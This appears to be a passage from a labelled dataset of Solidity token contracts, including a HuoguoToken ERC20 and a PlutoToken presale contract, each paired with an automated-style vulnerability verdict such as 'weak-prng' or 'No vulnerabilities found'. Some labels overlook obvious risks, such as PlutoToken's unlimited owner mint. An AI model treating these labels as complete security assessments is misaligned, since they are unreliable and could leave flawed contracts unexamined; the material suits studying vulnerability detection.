emit Approval(owner, spender, tok);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, _msgSender(), _allowances[account][_msgSender()].sub(amount, "ERC20: burn amount exceeds allowance"));
}
} | These are the vulnerabilities found
1) weak-prng with High impact
2) divide-before-multiply with Medium impact
3) incorrect-equality with Medium impact |
/*
website: huoguo.finance
██╗ ██╗██╗ ██╗ ██████╗ ██████╗ ██╗ ██╗ ██████╗
██║ ██║██║ ██║██╔═══██╗██╔════╝ ██║ ██║██╔═══██╗
███████║██║ ██║██║ ██║██║ ███╗██║ ██║██║ ██║
██╔══██║██║ ██║██║ ██║██║ ██║██║ ██║██║ ██║
██║ ██║╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝╚██████╔╝
╚═╝ ╚═╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝ ╚═════╝
forked from KIMCHI, SUSHI and YUNO
*/
pragma solidity ^0.6.12;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
// silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {codehash := extcodehash(account)}
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value : amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain`call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value : weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
// HuoguoToken with Governance.
contract HuoguoToken is ERC20("HUOGUO.finance", "HUOGUO"), Ownable {
/// @notice Creates `_amount` token to `_to`. Must only be called by the owner (MasterChef).
function mint(address _to, uint256 _amount) public onlyOwner {
_mint(_to, _amount);
}
} | No vulnerabilities found |
pragma solidity ^0.4.24;
// ----------------------------------------------------------------------------
// 'PlutoToken' Smart Contract
//
// OwnerAddress : 0x2593F541a392B2109F943B1526840463Ae1e5B05
// Symbol : PLT
// Name : Pluto Token
// Total Supply : 5000
// Decimals : 18
// Copyrights of 'PlutoToken' With 'PLT' Symbol November 1, 2020.
// The MIT Licence.
//
// Prepared and Compiled by: HASSAN ISA
// ----------------------------------------------------------------------------
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// Ownership contract
// _newOwner is address of new owner
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x2593F541a392B2109F943B1526840463Ae1e5B05;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// transfer Ownership to other address
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0x0));
emit OwnershipTransferred(owner,_newOwner);
owner = _newOwner;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and an
// initial fixed supply
// ----------------------------------------------------------------------------
contract PlutoToken is ERC20Interface, Owned {
using SafeMath for uint;
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public RATE;
uint public DENOMINATOR;
bool public isStopped = false;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
event ChangeRate(uint256 amount);
modifier onlyWhenRunning {
require(!isStopped);
_;
}
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
symbol = "PLT";
name = "Pluto Token";
decimals = 18;
_totalSupply = 5000 * 10**uint(decimals);
balances[owner] = _totalSupply;
RATE = 25000; // 1 ETH = 25 DYF
DENOMINATOR = 1000;
emit Transfer(address(0), owner, _totalSupply);
}
// ----------------------------------------------------------------------------
// requires enough gas for execution
// ----------------------------------------------------------------------------
function() public payable {
buyTokens();
}
// ----------------------------------------------------------------------------
// Function to handle eth and token transfers
// tokens are transferred to user
// ETH are transferred to current owner
// ----------------------------------------------------------------------------
function buyTokens() onlyWhenRunning public payable {
require(msg.value > 0);
uint tokens = msg.value.mul(RATE).div(DENOMINATOR);
require(balances[owner] >= tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
balances[owner] = balances[owner].sub(tokens);
emit Transfer(owner, msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public view returns (uint) {
return _totalSupply;
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public view returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
require(to != address(0));
require(tokens > 0);
require(balances[msg.sender] >= tokens);
balances[msg.sender] = balances[msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
require(spender != address(0));
require(tokens > 0);
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
require(from != address(0));
require(to != address(0));
require(tokens > 0);
require(balances[from] >= tokens);
require(allowed[from][msg.sender] >= tokens);
balances[from] = balances[from].sub(tokens);
allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens);
balances[to] = balances[to].add(tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public view returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Increase the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To increment
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _addedValue The amount of tokens to increase the allowance by.
// ------------------------------------------------------------------------
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
require(_spender != address(0));
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Decrease the amount of tokens that an owner allowed to a spender.
//
// approve should be called when allowed[_spender] == 0. To decrement
// allowed value is better to use this function to avoid 2 calls (and wait until
// the first transaction is mined)
// _spender The address which will spend the funds.
// _subtractedValue The amount of tokens to decrease the allowance by.
// ------------------------------------------------------------------------
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
require(_spender != address(0));
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
// ------------------------------------------------------------------------
// Change the ETH to IO rate
// ------------------------------------------------------------------------
function changeRate(uint256 _rate) public onlyOwner {
require(_rate > 0);
RATE =_rate;
emit ChangeRate(_rate);
}
// ------------------------------------------------------------------------
// _to The address that will receive the minted tokens.
// _amount The amount of tokens to mint.
// A boolean that indicates if the operation was successful.
// ------------------------------------------------------------------------
function mint(address _to, uint256 _amount) onlyOwner public returns (bool) {
require(_to != address(0));
require(_amount > 0);
uint newamount = _amount * 10**uint(decimals);
_totalSupply = _totalSupply.add(newamount);
balances[_to] = balances[_to].add(newamount);
emit Transfer(address(0), _to, newamount);
return true;
}
// ------------------------------------------------------------------------
// function to stop the ICO
// ------------------------------------------------------------------------
function stopPRESALE() onlyOwner public {
isStopped = true;
}
// ------------------------------------------------------------------------
// function to resume ICO
// ------------------------------------------------------------------------
function resumePRESALE() onlyOwner public {
isStopped = false;
}
} | No vulnerabilities found |
/*
-Moon Aina Inu (AINA)
-Liqudity Locked
*/
// SPDX-License-Identifier: MIT
pragma solidity >=0.5.0 <0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
